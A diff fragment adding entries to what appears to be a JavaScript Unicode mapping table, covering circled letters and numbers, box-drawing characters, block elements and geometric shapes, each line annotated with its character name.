+ ["\u24B7", "\u24D1"], /* CIRCLED LATIN CAPITAL LETTER B */
+ ["\u24B8", "\u24D2"], /* CIRCLED LATIN CAPITAL LETTER C */
+ ["\u24B9", "\u24D3"], /* CIRCLED LATIN CAPITAL LETTER D */
+ ["\u24BA", "\u24D4"], /* CIRCLED LATIN CAPITAL LETTER E */
+ ["\u24BB", "\u24D5"], /* CIRCLED LATIN CAPITAL LETTER F */
+ ["\u24BC", "\u24D6"], /* CIRCLED LATIN CAPITAL LETTER G */
+ ["\u24BD", "\u24D7"], /* CIRCLED LATIN CAPITAL LETTER H */
+ ["\u24BE", "\u24D8"], /* CIRCLED LATIN CAPITAL LETTER I */
+ ["\u24BF", "\u24D9"], /* CIRCLED LATIN CAPITAL LETTER J */
+ ["\u24C0", "\u24DA"], /* CIRCLED LATIN CAPITAL LETTER K */
+ ["\u24C1", "\u24DB"], /* CIRCLED LATIN CAPITAL LETTER L */
+ ["\u24C2", "\u24DC"], /* CIRCLED LATIN CAPITAL LETTER M */
+ ["\u24C3", "\u24DD"], /* CIRCLED LATIN CAPITAL LETTER N */
+ ["\u24C4", "\u24DE"], /* CIRCLED LATIN CAPITAL LETTER O */
+ ["\u24C5", "\u24DF"], /* CIRCLED LATIN CAPITAL LETTER P */
+ ["\u24C6", "\u24E0"], /* CIRCLED LATIN CAPITAL LETTER Q */
+ ["\u24C7", "\u24E1"], /* CIRCLED LATIN CAPITAL LETTER R */
+ ["\u24C8", "\u24E2"], /* CIRCLED LATIN CAPITAL LETTER S */
+ ["\u24C9", "\u24E3"], /* CIRCLED LATIN CAPITAL LETTER T */
+ ["\u24CA", "\u24E4"], /* CIRCLED LATIN CAPITAL LETTER U */
+ ["\u24CB", "\u24E5"], /* CIRCLED LATIN CAPITAL LETTER V */
+ ["\u24CC", "\u24E6"], /* CIRCLED LATIN CAPITAL LETTER W */
+ ["\u24CD", "\u24E7"], /* CIRCLED LATIN CAPITAL LETTER X */
+ ["\u24CE", "\u24E8"], /* CIRCLED LATIN CAPITAL LETTER Y */
+ ["\u24CF", "\u24E9"], /* CIRCLED LATIN CAPITAL LETTER Z */
+ ["\u24B6", "\u24D0"], /* CIRCLED LATIN SMALL LETTER A */
+ ["\u24B7", "\u24D1"], /* CIRCLED LATIN SMALL LETTER B */
+ ["\u24B8", "\u24D2"], /* CIRCLED LATIN SMALL LETTER C */
+ ["\u24B9", "\u24D3"], /* CIRCLED LATIN SMALL LETTER D */
+ ["\u24BA", "\u24D4"], /* CIRCLED LATIN SMALL LETTER E */
+ ["\u24BB", "\u24D5"], /* CIRCLED LATIN SMALL LETTER F */
+ ["\u24BC", "\u24D6"], /* CIRCLED LATIN SMALL LETTER G */
+ ["\u24BD", "\u24D7"], /* CIRCLED LATIN SMALL LETTER H */
+ ["\u24BE", "\u24D8"], /* CIRCLED LATIN SMALL LETTER I */
+ ["\u24BF", "\u24D9"], /* CIRCLED LATIN SMALL LETTER J */
+ ["\u24C0", "\u24DA"], /* CIRCLED LATIN SMALL LETTER K */
+ ["\u24C1", "\u24DB"], /* CIRCLED LATIN SMALL LETTER L */
+ ["\u24C2", "\u24DC"], /* CIRCLED LATIN SMALL LETTER M */
+ ["\u24C3", "\u24DD"], /* CIRCLED LATIN SMALL LETTER N */
+ ["\u24C4", "\u24DE"], /* CIRCLED LATIN SMALL LETTER O */
+ ["\u24C5", "\u24DF"], /* CIRCLED LATIN SMALL LETTER P */
+ ["\u24C6", "\u24E0"], /* CIRCLED LATIN SMALL LETTER Q */
+ ["\u24C7", "\u24E1"], /* CIRCLED LATIN SMALL LETTER R */
+ ["\u24C8", "\u24E2"], /* CIRCLED LATIN SMALL LETTER S */
+ ["\u24C9", "\u24E3"], /* CIRCLED LATIN SMALL LETTER T */
+ ["\u24CA", "\u24E4"], /* CIRCLED LATIN SMALL LETTER U */
+ ["\u24CB", "\u24E5"], /* CIRCLED LATIN SMALL LETTER V */
+ ["\u24CC", "\u24E6"], /* CIRCLED LATIN SMALL LETTER W */
+ ["\u24CD", "\u24E7"], /* CIRCLED LATIN SMALL LETTER X */
+ ["\u24CE", "\u24E8"], /* CIRCLED LATIN SMALL LETTER Y */
+ ["\u24CF", "\u24E9"], /* CIRCLED LATIN SMALL LETTER Z */
+ ["\u24EA", "\u24EA"], /* CIRCLED DIGIT ZERO */
+ ["\u24EB", "\u24EB"], /* NEGATIVE CIRCLED NUMBER ELEVEN */
+ ["\u24EC", "\u24EC"], /* NEGATIVE CIRCLED NUMBER TWELVE */
+ ["\u24ED", "\u24ED"], /* NEGATIVE CIRCLED NUMBER THIRTEEN */
+ ["\u24EE", "\u24EE"], /* NEGATIVE CIRCLED NUMBER FOURTEEN */
+ ["\u24EF", "\u24EF"], /* NEGATIVE CIRCLED NUMBER FIFTEEN */
+ ["\u24F0", "\u24F0"], /* NEGATIVE CIRCLED NUMBER SIXTEEN */
+ ["\u24F1", "\u24F1"], /* NEGATIVE CIRCLED NUMBER SEVENTEEN */
+ ["\u24F2", "\u24F2"], /* NEGATIVE CIRCLED NUMBER EIGHTEEN */
+ ["\u24F3", "\u24F3"], /* NEGATIVE CIRCLED NUMBER NINETEEN */
+ ["\u24F4", "\u24F4"], /* NEGATIVE CIRCLED NUMBER TWENTY */
+ ["\u24F5", "\u24F5"], /* DOUBLE CIRCLED DIGIT ONE */
+ ["\u24F6", "\u24F6"], /* DOUBLE CIRCLED DIGIT TWO */
+ ["\u24F7", "\u24F7"], /* DOUBLE CIRCLED DIGIT THREE */
+ ["\u24F8", "\u24F8"], /* DOUBLE CIRCLED DIGIT FOUR */
+ ["\u24F9", "\u24F9"], /* DOUBLE CIRCLED DIGIT FIVE */
+ ["\u24FA", "\u24FA"], /* DOUBLE CIRCLED DIGIT SIX */
+ ["\u24FB", "\u24FB"], /* DOUBLE CIRCLED DIGIT SEVEN */
+ ["\u24FC", "\u24FC"], /* DOUBLE CIRCLED DIGIT EIGHT */
+ ["\u24FD", "\u24FD"], /* DOUBLE CIRCLED DIGIT NINE */
+ ["\u24FE", "\u24FE"], /* DOUBLE CIRCLED NUMBER TEN */
+ ["\u24FF", "\u24FF"], /* NEGATIVE CIRCLED DIGIT ZERO */
+ ["\u2500", "\u2500"], /* BOX DRAWINGS LIGHT HORIZONTAL (FORMS LIGHT HORIZONTAL) */
+ ["\u2501", "\u2501"], /* BOX DRAWINGS HEAVY HORIZONTAL (FORMS HEAVY HORIZONTAL) */
+ ["\u2502", "\u2502"], /* BOX DRAWINGS LIGHT VERTICAL (FORMS LIGHT VERTICAL) */
+ ["\u2503", "\u2503"], /* BOX DRAWINGS HEAVY VERTICAL (FORMS HEAVY VERTICAL) */
+ ["\u2504", "\u2504"], /* BOX DRAWINGS LIGHT TRIPLE DASH HORIZONTAL (FORMS LIGHT TRIPLE DASH HORIZONTAL) */
+ ["\u2505", "\u2505"], /* BOX DRAWINGS HEAVY TRIPLE DASH HORIZONTAL (FORMS HEAVY TRIPLE DASH HORIZONTAL) */
+ ["\u2506", "\u2506"], /* BOX DRAWINGS LIGHT TRIPLE DASH VERTICAL (FORMS LIGHT TRIPLE DASH VERTICAL) */
+ ["\u2507", "\u2507"], /* BOX DRAWINGS HEAVY TRIPLE DASH VERTICAL (FORMS HEAVY TRIPLE DASH VERTICAL) */
+ ["\u2508", "\u2508"], /* BOX DRAWINGS LIGHT QUADRUPLE DASH HORIZONTAL (FORMS LIGHT QUADRUPLE DASH HORIZONTAL) */
+ ["\u2509", "\u2509"], /* BOX DRAWINGS HEAVY QUADRUPLE DASH HORIZONTAL (FORMS HEAVY QUADRUPLE DASH HORIZONTAL) */
+ ["\u250A", "\u250A"], /* BOX DRAWINGS LIGHT QUADRUPLE DASH VERTICAL (FORMS LIGHT QUADRUPLE DASH VERTICAL) */
+ ["\u250B", "\u250B"], /* BOX DRAWINGS HEAVY QUADRUPLE DASH VERTICAL (FORMS HEAVY QUADRUPLE DASH VERTICAL) */
+ ["\u250C", "\u250C"], /* BOX DRAWINGS LIGHT DOWN AND RIGHT (FORMS LIGHT DOWN AND RIGHT) */
+ ["\u250D", "\u250D"], /* BOX DRAWINGS DOWN LIGHT AND RIGHT HEAVY (FORMS DOWN LIGHT AND RIGHT HEAVY) */
+ ["\u250E", "\u250E"], /* BOX DRAWINGS DOWN HEAVY AND RIGHT LIGHT (FORMS DOWN HEAVY AND RIGHT LIGHT) */
+ ["\u250F", "\u250F"], /* BOX DRAWINGS HEAVY DOWN AND RIGHT (FORMS HEAVY DOWN AND RIGHT) */
+ ["\u2510", "\u2510"], /* BOX DRAWINGS LIGHT DOWN AND LEFT (FORMS LIGHT DOWN AND LEFT) */
+ ["\u2511", "\u2511"], /* BOX DRAWINGS DOWN LIGHT AND LEFT HEAVY (FORMS DOWN LIGHT AND LEFT HEAVY) */
+ ["\u2512", "\u2512"], /* BOX DRAWINGS DOWN HEAVY AND LEFT LIGHT (FORMS DOWN HEAVY AND LEFT LIGHT) */
+ ["\u2513", "\u2513"], /* BOX DRAWINGS HEAVY DOWN AND LEFT (FORMS HEAVY DOWN AND LEFT) */
+ ["\u2514", "\u2514"], /* BOX DRAWINGS LIGHT UP AND RIGHT (FORMS LIGHT UP AND RIGHT) */
+ ["\u2515", "\u2515"], /* BOX DRAWINGS UP LIGHT AND RIGHT HEAVY (FORMS UP LIGHT AND RIGHT HEAVY) */
+ ["\u2516", "\u2516"], /* BOX DRAWINGS UP HEAVY AND RIGHT LIGHT (FORMS UP HEAVY AND RIGHT LIGHT) */
+ ["\u2517", "\u2517"], /* BOX DRAWINGS HEAVY UP AND RIGHT (FORMS HEAVY UP AND RIGHT) */
+ ["\u2518", "\u2518"], /* BOX DRAWINGS LIGHT UP AND LEFT (FORMS LIGHT UP AND LEFT) */
+ ["\u2519", "\u2519"], /* BOX DRAWINGS UP LIGHT AND LEFT HEAVY (FORMS UP LIGHT AND LEFT HEAVY) */
+ ["\u251A", "\u251A"], /* BOX DRAWINGS UP HEAVY AND LEFT LIGHT (FORMS UP HEAVY AND LEFT LIGHT) */
+ ["\u251B", "\u251B"], /* BOX DRAWINGS HEAVY UP AND LEFT (FORMS HEAVY UP AND LEFT) */
+ ["\u251C", "\u251C"], /* BOX DRAWINGS LIGHT VERTICAL AND RIGHT (FORMS LIGHT VERTICAL AND RIGHT) */
+ ["\u251D", "\u251D"], /* BOX DRAWINGS VERTICAL LIGHT AND RIGHT HEAVY (FORMS VERTICAL LIGHT AND RIGHT HEAVY) */
+ ["\u251E", "\u251E"], /* BOX DRAWINGS UP HEAVY AND RIGHT DOWN LIGHT (FORMS UP HEAVY AND RIGHT DOWN LIGHT) */
+ ["\u251F", "\u251F"], /* BOX DRAWINGS DOWN HEAVY AND RIGHT UP LIGHT (FORMS DOWN HEAVY AND RIGHT UP LIGHT) */
+ ["\u2520", "\u2520"], /* BOX DRAWINGS VERTICAL HEAVY AND RIGHT LIGHT (FORMS VERTICAL HEAVY AND RIGHT LIGHT) */
+ ["\u2521", "\u2521"], /* BOX DRAWINGS DOWN LIGHT AND RIGHT UP HEAVY (FORMS DOWN LIGHT AND RIGHT UP HEAVY) */
+ ["\u2522", "\u2522"], /* BOX DRAWINGS UP LIGHT AND RIGHT DOWN HEAVY (FORMS UP LIGHT AND RIGHT DOWN HEAVY) */
+ ["\u2523", "\u2523"], /* BOX DRAWINGS HEAVY VERTICAL AND RIGHT (FORMS HEAVY VERTICAL AND RIGHT) */
+ ["\u2524", "\u2524"], /* BOX DRAWINGS LIGHT VERTICAL AND LEFT (FORMS LIGHT VERTICAL AND LEFT) */
+ ["\u2525", "\u2525"], /* BOX DRAWINGS VERTICAL LIGHT AND LEFT HEAVY (FORMS VERTICAL LIGHT AND LEFT HEAVY) */
+ ["\u2526", "\u2526"], /* BOX DRAWINGS UP HEAVY AND LEFT DOWN LIGHT (FORMS UP HEAVY AND LEFT DOWN LIGHT) */
+ ["\u2527", "\u2527"], /* BOX DRAWINGS DOWN HEAVY AND LEFT UP LIGHT (FORMS DOWN HEAVY AND LEFT UP LIGHT) */
+ ["\u2528", "\u2528"], /* BOX DRAWINGS VERTICAL HEAVY AND LEFT LIGHT (FORMS VERTICAL HEAVY AND LEFT LIGHT) */
+ ["\u2529", "\u2529"], /* BOX DRAWINGS DOWN LIGHT AND LEFT UP HEAVY (FORMS DOWN LIGHT AND LEFT UP HEAVY) */
+ ["\u252A", "\u252A"], /* BOX DRAWINGS UP LIGHT AND LEFT DOWN HEAVY (FORMS UP LIGHT AND LEFT DOWN HEAVY) */
+ ["\u252B", "\u252B"], /* BOX DRAWINGS HEAVY VERTICAL AND LEFT (FORMS HEAVY VERTICAL AND LEFT) */
+ ["\u252C", "\u252C"], /* BOX DRAWINGS LIGHT DOWN AND HORIZONTAL (FORMS LIGHT DOWN AND HORIZONTAL) */
+ ["\u252D", "\u252D"], /* BOX DRAWINGS LEFT HEAVY AND RIGHT DOWN LIGHT (FORMS LEFT HEAVY AND RIGHT DOWN LIGHT) */
+ ["\u252E", "\u252E"], /* BOX DRAWINGS RIGHT HEAVY AND LEFT DOWN LIGHT (FORMS RIGHT HEAVY AND LEFT DOWN LIGHT) */
+ ["\u252F", "\u252F"], /* BOX DRAWINGS DOWN LIGHT AND HORIZONTAL HEAVY (FORMS DOWN LIGHT AND HORIZONTAL HEAVY) */
+ ["\u2530", "\u2530"], /* BOX DRAWINGS DOWN HEAVY AND HORIZONTAL LIGHT (FORMS DOWN HEAVY AND HORIZONTAL LIGHT) */
+ ["\u2531", "\u2531"], /* BOX DRAWINGS RIGHT LIGHT AND LEFT DOWN HEAVY (FORMS RIGHT LIGHT AND LEFT DOWN HEAVY) */
+ ["\u2532", "\u2532"], /* BOX DRAWINGS LEFT LIGHT AND RIGHT DOWN HEAVY (FORMS LEFT LIGHT AND RIGHT DOWN HEAVY) */
+ ["\u2533", "\u2533"], /* BOX DRAWINGS HEAVY DOWN AND HORIZONTAL (FORMS HEAVY DOWN AND HORIZONTAL) */
+ ["\u2534", "\u2534"], /* BOX DRAWINGS LIGHT UP AND HORIZONTAL (FORMS LIGHT UP AND HORIZONTAL) */
+ ["\u2535", "\u2535"], /* BOX DRAWINGS LEFT HEAVY AND RIGHT UP LIGHT (FORMS LEFT HEAVY AND RIGHT UP LIGHT) */
+ ["\u2536", "\u2536"], /* BOX DRAWINGS RIGHT HEAVY AND LEFT UP LIGHT (FORMS RIGHT HEAVY AND LEFT UP LIGHT) */
+ ["\u2537", "\u2537"], /* BOX DRAWINGS UP LIGHT AND HORIZONTAL HEAVY (FORMS UP LIGHT AND HORIZONTAL HEAVY) */
+ ["\u2538", "\u2538"], /* BOX DRAWINGS UP HEAVY AND HORIZONTAL LIGHT (FORMS UP HEAVY AND HORIZONTAL LIGHT) */
+ ["\u2539", "\u2539"], /* BOX DRAWINGS RIGHT LIGHT AND LEFT UP HEAVY (FORMS RIGHT LIGHT AND LEFT UP HEAVY) */
+ ["\u253A", "\u253A"], /* BOX DRAWINGS LEFT LIGHT AND RIGHT UP HEAVY (FORMS LEFT LIGHT AND RIGHT UP HEAVY) */
+ ["\u253B", "\u253B"], /* BOX DRAWINGS HEAVY UP AND HORIZONTAL (FORMS HEAVY UP AND HORIZONTAL) */
+ ["\u253C", "\u253C"], /* BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL (FORMS LIGHT VERTICAL AND HORIZONTAL) */
+ ["\u253D", "\u253D"], /* BOX DRAWINGS LEFT HEAVY AND RIGHT VERTICAL LIGHT (FORMS LEFT HEAVY AND RIGHT VERTICAL LIGHT) */
+ ["\u253E", "\u253E"], /* BOX DRAWINGS RIGHT HEAVY AND LEFT VERTICAL LIGHT (FORMS RIGHT HEAVY AND LEFT VERTICAL LIGHT) */
+ ["\u253F", "\u253F"], /* BOX DRAWINGS VERTICAL LIGHT AND HORIZONTAL HEAVY (FORMS VERTICAL LIGHT AND HORIZONTAL HEAVY) */
+ ["\u2540", "\u2540"], /* BOX DRAWINGS UP HEAVY AND DOWN HORIZONTAL LIGHT (FORMS UP HEAVY AND DOWN HORIZONTAL LIGHT) */
+ ["\u2541", "\u2541"], /* BOX DRAWINGS DOWN HEAVY AND UP HORIZONTAL LIGHT (FORMS DOWN HEAVY AND UP HORIZONTAL LIGHT) */
+ ["\u2542", "\u2542"], /* BOX DRAWINGS VERTICAL HEAVY AND HORIZONTAL LIGHT (FORMS VERTICAL HEAVY AND HORIZONTAL LIGHT) */
+ ["\u2543", "\u2543"], /* BOX DRAWINGS LEFT UP HEAVY AND RIGHT DOWN LIGHT (FORMS LEFT UP HEAVY AND RIGHT DOWN LIGHT) */
+ ["\u2544", "\u2544"], /* BOX DRAWINGS RIGHT UP HEAVY AND LEFT DOWN LIGHT (FORMS RIGHT UP HEAVY AND LEFT DOWN LIGHT) */
+ ["\u2545", "\u2545"], /* BOX DRAWINGS LEFT DOWN HEAVY AND RIGHT UP LIGHT (FORMS LEFT DOWN HEAVY AND RIGHT UP LIGHT) */
+ ["\u2546", "\u2546"], /* BOX DRAWINGS RIGHT DOWN HEAVY AND LEFT UP LIGHT (FORMS RIGHT DOWN HEAVY AND LEFT UP LIGHT) */
+ ["\u2547", "\u2547"], /* BOX DRAWINGS DOWN LIGHT AND UP HORIZONTAL HEAVY (FORMS DOWN LIGHT AND UP HORIZONTAL HEAVY) */
+ ["\u2548", "\u2548"], /* BOX DRAWINGS UP LIGHT AND DOWN HORIZONTAL HEAVY (FORMS UP LIGHT AND DOWN HORIZONTAL HEAVY) */
+ ["\u2549", "\u2549"], /* BOX DRAWINGS RIGHT LIGHT AND LEFT VERTICAL HEAVY (FORMS RIGHT LIGHT AND LEFT VERTICAL HEAVY) */
+ ["\u254A", "\u254A"], /* BOX DRAWINGS LEFT LIGHT AND RIGHT VERTICAL HEAVY (FORMS LEFT LIGHT AND RIGHT VERTICAL HEAVY) */
+ ["\u254B", "\u254B"], /* BOX DRAWINGS HEAVY VERTICAL AND HORIZONTAL (FORMS HEAVY VERTICAL AND HORIZONTAL) */
+ ["\u254C", "\u254C"], /* BOX DRAWINGS LIGHT DOUBLE DASH HORIZONTAL (FORMS LIGHT DOUBLE DASH HORIZONTAL) */
+ ["\u254D", "\u254D"], /* BOX DRAWINGS HEAVY DOUBLE DASH HORIZONTAL (FORMS HEAVY DOUBLE DASH HORIZONTAL) */
+ ["\u254E", "\u254E"], /* BOX DRAWINGS LIGHT DOUBLE DASH VERTICAL (FORMS LIGHT DOUBLE DASH VERTICAL) */
+ ["\u254F", "\u254F"], /* BOX DRAWINGS HEAVY DOUBLE DASH VERTICAL (FORMS HEAVY DOUBLE DASH VERTICAL) */
+ ["\u2550", "\u2550"], /* BOX DRAWINGS DOUBLE HORIZONTAL (FORMS DOUBLE HORIZONTAL) */
+ ["\u2551", "\u2551"], /* BOX DRAWINGS DOUBLE VERTICAL (FORMS DOUBLE VERTICAL) */
+ ["\u2552", "\u2552"], /* BOX DRAWINGS DOWN SINGLE AND RIGHT DOUBLE (FORMS DOWN SINGLE AND RIGHT DOUBLE) */
+ ["\u2553", "\u2553"], /* BOX DRAWINGS DOWN DOUBLE AND RIGHT SINGLE (FORMS DOWN DOUBLE AND RIGHT SINGLE) */
+ ["\u2554", "\u2554"], /* BOX DRAWINGS DOUBLE DOWN AND RIGHT (FORMS DOUBLE DOWN AND RIGHT) */
+ ["\u2555", "\u2555"], /* BOX DRAWINGS DOWN SINGLE AND LEFT DOUBLE (FORMS DOWN SINGLE AND LEFT DOUBLE) */
+ ["\u2556", "\u2556"], /* BOX DRAWINGS DOWN DOUBLE AND LEFT SINGLE (FORMS DOWN DOUBLE AND LEFT SINGLE) */
+ ["\u2557", "\u2557"], /* BOX DRAWINGS DOUBLE DOWN AND LEFT (FORMS DOUBLE DOWN AND LEFT) */
+ ["\u2558", "\u2558"], /* BOX DRAWINGS UP SINGLE AND RIGHT DOUBLE (FORMS UP SINGLE AND RIGHT DOUBLE) */
+ ["\u2559", "\u2559"], /* BOX DRAWINGS UP DOUBLE AND RIGHT SINGLE (FORMS UP DOUBLE AND RIGHT SINGLE) */
+ ["\u255A", "\u255A"], /* BOX DRAWINGS DOUBLE UP AND RIGHT (FORMS DOUBLE UP AND RIGHT) */
+ ["\u255B", "\u255B"], /* BOX DRAWINGS UP SINGLE AND LEFT DOUBLE (FORMS UP SINGLE AND LEFT DOUBLE) */
+ ["\u255C", "\u255C"], /* BOX DRAWINGS UP DOUBLE AND LEFT SINGLE (FORMS UP DOUBLE AND LEFT SINGLE) */
+ ["\u255D", "\u255D"], /* BOX DRAWINGS DOUBLE UP AND LEFT (FORMS DOUBLE UP AND LEFT) */
+ ["\u255E", "\u255E"], /* BOX DRAWINGS VERTICAL SINGLE AND RIGHT DOUBLE (FORMS VERTICAL SINGLE AND RIGHT DOUBLE) */
+ ["\u255F", "\u255F"], /* BOX DRAWINGS VERTICAL DOUBLE AND RIGHT SINGLE (FORMS VERTICAL DOUBLE AND RIGHT SINGLE) */
+ ["\u2560", "\u2560"], /* BOX DRAWINGS DOUBLE VERTICAL AND RIGHT (FORMS DOUBLE VERTICAL AND RIGHT) */
+ ["\u2561", "\u2561"], /* BOX DRAWINGS VERTICAL SINGLE AND LEFT DOUBLE (FORMS VERTICAL SINGLE AND LEFT DOUBLE) */
+ ["\u2562", "\u2562"], /* BOX DRAWINGS VERTICAL DOUBLE AND LEFT SINGLE (FORMS VERTICAL DOUBLE AND LEFT SINGLE) */
+ ["\u2563", "\u2563"], /* BOX DRAWINGS DOUBLE VERTICAL AND LEFT (FORMS DOUBLE VERTICAL AND LEFT) */
+ ["\u2564", "\u2564"], /* BOX DRAWINGS DOWN SINGLE AND HORIZONTAL DOUBLE (FORMS DOWN SINGLE AND HORIZONTAL DOUBLE) */
+ ["\u2565", "\u2565"], /* BOX DRAWINGS DOWN DOUBLE AND HORIZONTAL SINGLE (FORMS DOWN DOUBLE AND HORIZONTAL SINGLE) */
+ ["\u2566", "\u2566"], /* BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL (FORMS DOUBLE DOWN AND HORIZONTAL) */
+ ["\u2567", "\u2567"], /* BOX DRAWINGS UP SINGLE AND HORIZONTAL DOUBLE (FORMS UP SINGLE AND HORIZONTAL DOUBLE) */
+ ["\u2568", "\u2568"], /* BOX DRAWINGS UP DOUBLE AND HORIZONTAL SINGLE (FORMS UP DOUBLE AND HORIZONTAL SINGLE) */
+ ["\u2569", "\u2569"], /* BOX DRAWINGS DOUBLE UP AND HORIZONTAL (FORMS DOUBLE UP AND HORIZONTAL) */
+ ["\u256A", "\u256A"], /* BOX DRAWINGS VERTICAL SINGLE AND HORIZONTAL DOUBLE (FORMS VERTICAL SINGLE AND HORIZONTAL DOUBLE) */
+ ["\u256B", "\u256B"], /* BOX DRAWINGS VERTICAL DOUBLE AND HORIZONTAL SINGLE (FORMS VERTICAL DOUBLE AND HORIZONTAL SINGLE) */
+ ["\u256C", "\u256C"], /* BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL (FORMS DOUBLE VERTICAL AND HORIZONTAL) */
+ ["\u256D", "\u256D"], /* BOX DRAWINGS LIGHT ARC DOWN AND RIGHT (FORMS LIGHT ARC DOWN AND RIGHT) */
+ ["\u256E", "\u256E"], /* BOX DRAWINGS LIGHT ARC DOWN AND LEFT (FORMS LIGHT ARC DOWN AND LEFT) */
+ ["\u256F", "\u256F"], /* BOX DRAWINGS LIGHT ARC UP AND LEFT (FORMS LIGHT ARC UP AND LEFT) */
+ ["\u2570", "\u2570"], /* BOX DRAWINGS LIGHT ARC UP AND RIGHT (FORMS LIGHT ARC UP AND RIGHT) */
+ ["\u2571", "\u2571"], /* BOX DRAWINGS LIGHT DIAGONAL UPPER RIGHT TO LOWER LEFT (FORMS LIGHT DIAGONAL UPPER RIGHT TO LOWER LEFT) */
+ ["\u2572", "\u2572"], /* BOX DRAWINGS LIGHT DIAGONAL UPPER LEFT TO LOWER RIGHT (FORMS LIGHT DIAGONAL UPPER LEFT TO LOWER RIGHT) */
+ ["\u2573", "\u2573"], /* BOX DRAWINGS LIGHT DIAGONAL CROSS (FORMS LIGHT DIAGONAL CROSS) */
+ ["\u2574", "\u2574"], /* BOX DRAWINGS LIGHT LEFT (FORMS LIGHT LEFT) */
+ ["\u2575", "\u2575"], /* BOX DRAWINGS LIGHT UP (FORMS LIGHT UP) */
+ ["\u2576", "\u2576"], /* BOX DRAWINGS LIGHT RIGHT (FORMS LIGHT RIGHT) */
+ ["\u2577", "\u2577"], /* BOX DRAWINGS LIGHT DOWN (FORMS LIGHT DOWN) */
+ ["\u2578", "\u2578"], /* BOX DRAWINGS HEAVY LEFT (FORMS HEAVY LEFT) */
+ ["\u2579", "\u2579"], /* BOX DRAWINGS HEAVY UP (FORMS HEAVY UP) */
+ ["\u257A", "\u257A"], /* BOX DRAWINGS HEAVY RIGHT (FORMS HEAVY RIGHT) */
+ ["\u257B", "\u257B"], /* BOX DRAWINGS HEAVY DOWN (FORMS HEAVY DOWN) */
+ ["\u257C", "\u257C"], /* BOX DRAWINGS LIGHT LEFT AND HEAVY RIGHT (FORMS LIGHT LEFT AND HEAVY RIGHT) */
+ ["\u257D", "\u257D"], /* BOX DRAWINGS LIGHT UP AND HEAVY DOWN (FORMS LIGHT UP AND HEAVY DOWN) */
+ ["\u257E", "\u257E"], /* BOX DRAWINGS HEAVY LEFT AND LIGHT RIGHT (FORMS HEAVY LEFT AND LIGHT RIGHT) */
+ ["\u257F", "\u257F"], /* BOX DRAWINGS HEAVY UP AND LIGHT DOWN (FORMS HEAVY UP AND LIGHT DOWN) */
+ ["\u2580", "\u2580"], /* UPPER HALF BLOCK */
+ ["\u2581", "\u2581"], /* LOWER ONE EIGHTH BLOCK */
+ ["\u2582", "\u2582"], /* LOWER ONE QUARTER BLOCK */
+ ["\u2583", "\u2583"], /* LOWER THREE EIGHTHS BLOCK */
+ ["\u2584", "\u2584"], /* LOWER HALF BLOCK */
+ ["\u2585", "\u2585"], /* LOWER FIVE EIGHTHS BLOCK */
+ ["\u2586", "\u2586"], /* LOWER THREE QUARTERS BLOCK (LOWER THREE QUARTER BLOCK) */
+ ["\u2587", "\u2587"], /* LOWER SEVEN EIGHTHS BLOCK */
+ ["\u2588", "\u2588"], /* FULL BLOCK */
+ ["\u2589", "\u2589"], /* LEFT SEVEN EIGHTHS BLOCK */
+ ["\u258A", "\u258A"], /* LEFT THREE QUARTERS BLOCK (LEFT THREE QUARTER BLOCK) */
+ ["\u258B", "\u258B"], /* LEFT FIVE EIGHTHS BLOCK */
+ ["\u258C", "\u258C"], /* LEFT HALF BLOCK */
+ ["\u258D", "\u258D"], /* LEFT THREE EIGHTHS BLOCK */
+ ["\u258E", "\u258E"], /* LEFT ONE QUARTER BLOCK */
+ ["\u258F", "\u258F"], /* LEFT ONE EIGHTH BLOCK */
+ ["\u2590", "\u2590"], /* RIGHT HALF BLOCK */
+ ["\u2591", "\u2591"], /* LIGHT SHADE */
+ ["\u2592", "\u2592"], /* MEDIUM SHADE */
+ ["\u2593", "\u2593"], /* DARK SHADE */
+ ["\u2594", "\u2594"], /* UPPER ONE EIGHTH BLOCK */
+ ["\u2595", "\u2595"], /* RIGHT ONE EIGHTH BLOCK */
+ ["\u2596", "\u2596"], /* QUADRANT LOWER LEFT */
+ ["\u2597", "\u2597"], /* QUADRANT LOWER RIGHT */
+ ["\u2598", "\u2598"], /* QUADRANT UPPER LEFT */
+ ["\u2599", "\u2599"], /* QUADRANT UPPER LEFT AND LOWER LEFT AND LOWER RIGHT */
+ ["\u259A", "\u259A"], /* QUADRANT UPPER LEFT AND LOWER RIGHT */
+ ["\u259B", "\u259B"], /* QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER LEFT */
+ ["\u259C", "\u259C"], /* QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER RIGHT */
+ ["\u259D", "\u259D"], /* QUADRANT UPPER RIGHT */
+ ["\u259E", "\u259E"], /* QUADRANT UPPER RIGHT AND LOWER LEFT */
+ ["\u259F", "\u259F"], /* QUADRANT UPPER RIGHT AND LOWER LEFT AND LOWER RIGHT */
+ ["\u25A0", "\u25A0"], /* BLACK SQUARE */
+ ["\u25A1", "\u25A1"], /* WHITE SQUARE */
+ ["\u25A2", "\u25A2"], /* WHITE SQUARE WITH ROUNDED CORNERS */
+ ["\u25A3", "\u25A3"], /* WHITE SQUARE CONTAINING BLACK SMALL SQUARE */
+ ["\u25A4", "\u25A4"], /* SQUARE WITH HORIZONTAL FILL */
+ ["\u25A5", "\u25A5"], /* SQUARE WITH VERTICAL FILL */
+ ["\u25A6", "\u25A6"], /* SQUARE WITH ORTHOGONAL CROSSHATCH FILL */
+ ["\u25A7", "\u25A7"], /* SQUARE WITH UPPER LEFT TO LOWER RIGHT FILL */
+ ["\u25A8", "\u25A8"], /* SQUARE WITH UPPER RIGHT TO LOWER LEFT FILL */
+ ["\u25A9", "\u25A9"], /* SQUARE WITH DIAGONAL CROSSHATCH FILL */
+ ["\u25AA", "\u25AA"], /* BLACK SMALL SQUARE */
+ ["\u25AB", "\u25AB"], /* WHITE SMALL SQUARE */
+ ["\u25AC", "\u25AC"], /* BLACK RECTANGLE */
+ ["\u25AD", "\u25AD"], /* WHITE RECTANGLE */
+ ["\u25AE", "\u25AE"], /* BLACK VERTICAL RECTANGLE */
+ ["\u25AF", "\u25AF"], /* WHITE VERTICAL RECTANGLE */
+ ["\u25B0", "\u25B0"], /* BLACK PARALLELOGRAM */
+ ["\u25B1", "\u25B1"], /* WHITE PARALLELOGRAM */
+ ["\u25B2", "\u25B2"], /* BLACK UP-POINTING TRIANGLE (BLACK UP POINTING TRIANGLE) */
